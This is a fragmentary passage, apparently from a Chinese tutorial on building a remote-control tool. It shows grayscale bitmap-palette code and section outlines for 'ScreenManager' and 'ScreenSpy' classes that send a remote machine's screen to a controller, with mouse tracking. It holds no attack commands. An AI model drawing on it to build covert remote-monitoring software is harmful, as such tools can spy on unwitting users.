RGB2GRAY(lpbmi->bmiColors[i].rgbRed, lpbmi->bmiColors[i].rgbGreen, lpbmi->bmiColors[i].rgbBlue);lpbmi->bmiColors[i].rgbRed = lpbmi->bmiColors[i].rgbGreen = lpbmi->bmiColors[i].rgbBlue = color;}}return lpbmi;
}
sendFirstScreen
7.5 服务端编写
ScreenManager.h和ScreenManager.cpp,我们自己再重新写一遍这个类,
ScreenSpy这个类完整的成熟的类
添加insert New class
添加CScreenManager这个类他的父类为CManager(注意他的文件位置) common下
7.6 主控端的编写
7.7 完善主控端
· 跟踪鼠标
· 色位调整